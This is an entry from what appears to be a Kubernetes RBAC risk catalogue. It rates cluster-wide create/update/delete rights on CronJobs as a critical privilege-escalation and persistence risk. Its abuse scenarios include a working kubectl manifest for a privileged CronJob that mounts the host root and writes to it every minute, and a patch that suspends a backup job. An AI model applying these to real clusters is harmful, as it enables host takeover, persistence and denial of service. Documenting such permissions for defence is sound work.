Overview

FieldValue
ID1039
NameManage CronJobs cluster-wide (scheduled privileged execution, persistence)
Risk CategoryElevation of Privilege
Risk LevelCritical
Role TypeClusterRole
API Groupsbatch
Resourcescronjobs
Verbscreate, update, patch, delete
TagsPersistence PrivilegeEscalation Tampering WorkloadLifecycle

Description

Permits creating, updating, or deleting CronJobs across all namespaces. CronJobs schedule recurring batch jobs. This is critical as it allows scheduling the execution of pods (potentially privileged) at regular intervals, leading to privilege escalation, persistent access, and tampering.

Abuse Scenarios

  1. Create a new CronJob that schedules a privileged pod to run periodically.
kubectl create -n <namespace> -f - <<EOF
apiVersion: batch/v1
kind: CronJob
metadata:
  name: privileged-cronjob
spec:
  schedule: "*/1 * * * *" # Every minute
  jobTemplate:
    spec:
      template:
        spec:
          hostNetwork: true
          hostPID: true
          containers:
          - name: attacker
            image: busybox
            command: ["/bin/sh", "-c", "echo 'Pwned!' > /host/pwned.txt"]
            securityContext:
              privileged: true
            volumeMounts:
            - mountPath: /host
              name: host-root
          volumes:
          - name: host-root
            hostPath:
              path: /
          restartPolicy: OnFailure
EOF
# Example: kubectl create -n default -f - <<EOF ... EOF
  1. Suspend a critical CronJob, preventing scheduled tasks from running (DoS).
kubectl patch cronjob <cronjob-name> -n <namespace> -p '{"spec" : {"suspend" : true}}'
# Example: kubectl patch cronjob backup-db -n production -p '{"spec" : {"suspend" : true}}'